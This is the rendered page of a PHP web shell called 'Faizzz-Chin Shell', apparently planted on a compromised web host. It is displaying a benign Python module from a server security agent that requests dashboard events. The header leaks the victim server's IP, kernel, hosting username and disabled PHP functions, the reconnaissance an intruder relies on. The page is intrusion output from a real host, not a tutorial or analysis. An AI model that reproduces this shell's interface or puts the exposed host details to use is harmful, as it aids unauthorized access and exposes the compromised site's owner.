SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server.kxo.bgz.mybluehostin.me 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Server: Apache
PHP Version: 8.2.29 [ PHP INFO ]
Operating System: Linux
Server Ip: 162.240.163.222
Your Ip: 216.73.216.114
Date Time: 2025-07-12 03:54:22
User: dilseshaadi (1027) | Group: dilseshaadi (1027)
Safe Mode: OFF
Disable Function: exec,passthru,shell_exec,system

name : events.py
import urllib.request
import logging
import datetime

from defence360agent.api.server import API
from defence360agent.internals.iaid import IndependentAgentIDAPI
from defence360agent.rpc_tools.utils import run_in_executor_decorator

logger = logging.getLogger(__name__)


class EventsAPI(API):
    ADVICES_API_URL_TEMPLATE = (
        "{base}/api/dashboard/events?dashboard=false&"
        "popup=true&not_snoozed_at={not_snoozed_at}"
    )
    NOTIFICATIONS_API_URL_TEMPLATE = (
        "{base}/api/dashboard/v2/events?notification=1&enduser=true"
    )
    SMART_ADVICE_API_URL_TEMPLATE = (
        "{base}/api/dashboard/v2/events?smartadvice=true"
    )

    @classmethod
    @run_in_executor_decorator
    def advices(cls):
        request = urllib.request.Request(
            cls.ADVICES_API_URL_TEMPLATE.format(
                base=cls._BASE_URL,
                not_snoozed_at=int(datetime.datetime.now().timestamp()),
            ),
            method="GET",
        )
        result = cls.request(request)
        return result["result"]

    @classmethod
    async def notification(cls):
        request = urllib.request.Request(
            cls.NOTIFICATIONS_API_URL_TEMPLATE.format(base=cls._BASE_URL),
            method="GET",
            headers={"X-Auth": await IndependentAgentIDAPI.get_token()},
        )
        return await cls._send_notifications(request)

    @classmethod
    async def smart_advices(cls):
        request = urllib.request.Request(
            cls.SMART_ADVICE_API_URL_TEMPLATE.format(base=cls._BASE_URL),
            method="GET",
            headers={"X-Auth": await IndependentAgentIDAPI.get_token()},
        )
        return cls.request(request)["result"]

    @classmethod
    @run_in_executor_decorator
    def _send_notifications(cls, request):
        result = cls.request(request)
        return result["result"]
© 2025 Faizzz-Chin